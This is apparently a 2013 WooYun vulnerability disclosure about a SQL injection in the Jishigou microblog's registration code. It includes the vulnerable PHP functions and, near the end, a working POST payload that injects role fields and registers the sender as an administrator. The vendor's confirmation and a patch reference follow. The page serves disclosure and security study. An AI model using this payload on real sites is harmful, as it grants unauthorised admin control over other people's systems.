当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043311

漏洞标题:记事狗微博全版本SQL注入漏洞可直接注册管理员2

相关厂商:杭州神话

漏洞作者: Chora

提交时间:2013-11-19 11:45

修复时间:2014-02-17 11:46

公开时间:2014-02-17 11:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-19: 细节已通知厂商并且等待厂商处理中
2013-11-19: 厂商已经确认,细节仅向厂商公开
2013-11-22: 细节向第三方安全合作伙伴开放
2014-01-13: 细节向核心白帽子及相关领域专家公开
2014-01-23: 细节向普通白帽子公开
2014-02-02: 细节向实习白帽子公开
2014-02-17: 细节向公众公开

简要描述:

每个月总有那么几天会发几个。

详细说明:

这次的问题依然是一个通用函数,而且涉及面比较广,用到该函数的全部存在注入。。。好好改改。
因为密码有salt,所以爆管理账号密码意义不大,直接在注册的页面注射成管理员。
wap/modules/member.mod.php

function DoRegister() 
{
if(MEMBER_ID != 0 AND false == $this->IsAdmin)
{
$this->Messager('您已经是注册用户,无需再注册!', -1);
}
......

$this->Post = array_iconv('UTF-8', $this->Config['charset'], $this->Post);
$password = $this->Post['password']; //密码
$email = $this->Post['email']; //email
$username = $nickname = $this->Post['nickname']; //用户名

if(strlen($password) < 5)
{
$this->Messager("密码过短,请设置至少5位",-1);
}

$uid = jsg_member_register($nickname, $password, $email);//注册,不是关键函数,步过。
if($uid < 1)
{
$regconf = ConfigHandler::get('register');
$rets = array(
'0' => '【注册失败】有可能是站点关闭了注册功能',
'-1' => '帐户/昵称 不合法,含有不允许注册的字符,请尝试更换一个。',
'-2' => '帐户/昵称 不允许注册,含有被保留的字符,请尝试更换一个。',
'-3' => '帐户/昵称 已经存在了,请尝试更换一个。',
'-4' => 'Email 不合法,请输入正确的Email地址。',
'-5' => 'Email 不允许注册,请尝试更换一个。',
'-6' => 'Email 已经存在了,请尝试更换一个。',
'-7' => '您的IP地址 ' . $GLOBALS['_J']['client_ip'] . ' 已经被限制注册了(一个IP地址 '.$regconf['time_html'].' 之内,最多只能注册 '.$regconf['limit'].' 个用户),请稍后再试或联系管理员',
);
$this->Messager($rets[$uid], null);
}

$datas = array();
$datas['uid'] = $uid;
$datas['province'] = $this->Post['province']; $datas['city'] = $this->Post['city']; if($this->_sms_register())
{
$datas['phone'] = $sms_bind_num;
}
jtable('members')->update($datas);//跟进0x01
......
}


include/function/global.func.php 0x01

static function update($table, $data, $condition, $unbuffered = false, $low_priority = false)
{
$sql = DB::field($data); //问题出在自定义field函数上,跟进
$cmd = "UPDATE ".($low_priority ? 'LOW_PRIORITY' : '');
$table = DB::table($table);
$res = DB::query("$cmd $table SET $sql ".DB::where($condition), $unbuffered ? 'UNBUFFERED' : '');
return $res;
}
static function field($array, $glue = ',', $is_where=0) {
$sql = $comma = '';

foreach ($array as $k => $v) {
$s = '';

if(is_array($v)) {//遍历传递过来的数组的值,检查每一个值是否为数组,是数组则往下执行。

$g = $v['glue'];把键名为glue的数组的值赋值给$g
if($g) {
$kk = ($v['key'] ? $v['key'] : $k); //把键名为key的数组的值赋值给$kk
$vv = $v['val'];//把键名为vlue的数组的值赋值给$vv
switch ($g) {//$g就是符号,我们构造$g为等号,也就是构造$v['glue']的值为=号。
case '=':
case '>':
case '<':
case '<>':
case '>=':
case '<=':
$s = "`{$kk}`{$g}'{$vv}'"; /*$kk的值,$vv的值都需要构造,我们虽然不能引入单引号,但是我们能引入反引号,反引号不受GPC的限制,$kk在反引号内,而且$kk我们可控。所以只要用到了这个field函数,随便找一个我们能控制的域,把他以数组的方式提交即可。比如:$_POST['str']这个域,我们提交:str[glue]==&str[val]=endvlue&str[key]=beginkey`=beginvalue,`endkey
就成了
`beginkey`=beginvalue,`endkey`='endvlue'
关键点就在于这个str[key]闭合反引号
比如我的这个例子注册管理员,需要role_id=2,role_type=admin
我们提交province[glue]==&province[val]=admin&province[key]=role_id`=2,`role_type
即可
*/
break;
case '-':
case '+':
case '|':
case '&':
case '^':
$s = "`{$kk}`=`{$kk}`{$g}'{$vv}'";
break;
case 'like':
$s = "`{$kk}` LIKE('{$vv}')";
break;
case 'in':
case 'notin':
$s = "`{$kk}`".('notin'==$g ? ' NOT' : '')." IN(".jimplode($vv).")";
break;
default:
exit("glue $g is invalid");
}
} else {
if($is_where) {
$s = "`{$k}` IN(".jimplode($v).")";

}
}
} else {
$s = "`{$k}`='$v'";
}
if($s) {
$sql .= $comma . $s;
$comma = $glue;
}
}
return $sql;
}


POST提交
password=123456&nickname=test1test&[email protected]&province[glue]==&province[val]=admin&province[key]=role_id`=2,`role_type

http://localhost/jishigou/wap/?mod=member&code=doregister
即可注册管理员。

漏洞证明:

1.png

2.png

3.png

4.png

修复方案:

继续求包养。

版权声明:转载请注明来源 Chora@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2013-11-19 11:54

厂商回复:

非常感谢 Chora@乌云 的反馈,这个问题影响到V4.x版本,已经有发布补丁包修复了 http://t.jishigou.net/topic/250858

最新状态:

暂无